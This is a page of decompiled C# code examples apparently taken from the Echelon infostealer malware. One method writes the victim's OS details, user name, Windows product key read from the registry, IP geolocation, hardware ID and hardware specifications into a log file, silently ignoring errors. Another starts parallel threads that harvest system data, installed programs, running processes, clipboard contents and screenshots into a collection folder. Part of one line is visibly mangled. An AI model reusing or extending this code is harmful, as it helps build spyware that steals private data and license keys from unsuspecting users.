Exemple #1
0
        // Token: 0x0600008F RID: 143 RVA: 0x0001B844 File Offset: 0x00019A44
        public static void GetSystem(string Echelon_Dir)
        {
            ComputerInfo computerInfo = new ComputerInfo();
            Size         size         = Screen.PrimaryScreen.Bounds.Size;

            try
            {
                using (StreamWriter streamWriter = new StreamWriter(Systemsinfo.information, false, Encoding.Default))
                {
                    TextWriter textWriter = streamWriter;
                    string[]   array      = new string[32];
                    array[0] = "==================================================\n Operating system: ";
                    int             num       = 1;
                    OperatingSystem osversion = Environment.OSVersion;
                    array[num] = ((osversion != null) ? osversion.ToString() : null);
                    array[2]   = " | ";
                    array[3]   = computerInfo.OSFullName;
                    array[4]   = "\n PC user: "******"/";
                    array[7]   = Environment.UserName;
                    array[8]   = "\n WinKey: ";
                    array[9]   = WinKey.GetWindowsKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId");
                    array[10]  = "\n==================================================\n Screen resolution: ";
                    int  num2  = 11;
                    Size size2 = size;
                    array[num2] = size2.ToString();
                    array[12]   = "\n Current time Utc: ";
                    array[13]   = DateTime.UtcNow.ToString();
                    array[14]   = "\n Current time: ";
                    array[15]   = DateTime.Now.ToString();
                    array[16]   = "\n==================================================\n CPU: ";
                    array[17]   = Systemsinfo.GetProcessorName();
                    array[18]   = "\n RAM: ";
                    array[19]   = Systemsinfo.GetPhysicalMemory();
                    array[20]   = "\n GPU: ";
                    array[21]   = Systemsinfo.GetGpuName();
                    array[22]   = "\n ==================================================\n IP Geolocation: ";
                    array[23]   = Echelon.Global.Help.IP();
                    array[24]   = " ";
                    array[25]   = Echelon.Global.Help.Country();
                    array[26]   = "\n Log Date: ";
                    array[27]   = Echelon.Global.Help.date;
                    array[28]   = "\n Version build: ";
                    array[29]   = JsonValue.buildversion;
                    array[30]   = "\n HWID: ";
                    array[31]   = Echelon.Global.Help.HWID;
                    textWriter.WriteLine(string.Concat(array));
                    streamWriter.Close();
                }
            }
            catch
            {
            }
        }
Exemple #2
0
 public static void GetSystemsData(string collectionDir)
 {
     try
     {
         Task[] t01 = new Task[]
         {
             new Task(delegate()
             {
                 Systemsinfo.GetSystem(collectionDir);
             })
         };
         Task[] t02 = new Task[]
         {
             new Task(delegate()
             {
                 Systemsinfo.GetProg(collectionDir);
             })
         };
         Task[] t03 = new Task[]
         {
             new Task(delegate()
             {
                 Systemsinfo.GetProc(collectionDir);
             })
         };
         Task[] t04 = new Task[]
         {
             new Task(delegate()
             {
                 BuffBoard.GetClipboard(collectionDir);
             })
         };
         Task[] t05 = new Task[]
         {
             new Task(delegate()
             {
                 Screenshot.GetScreenShot(collectionDir);
             })
         };
         new Thread(delegate()
         {
             Task[] t = t01;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t02;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t03;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t04;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t05;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         Task.WaitAll(t01);
         Task.WaitAll(t02);
         Task.WaitAll(t03);
         Task.WaitAll(t04);
         Task.WaitAll(t05);
     }
     catch
     {
     }
 }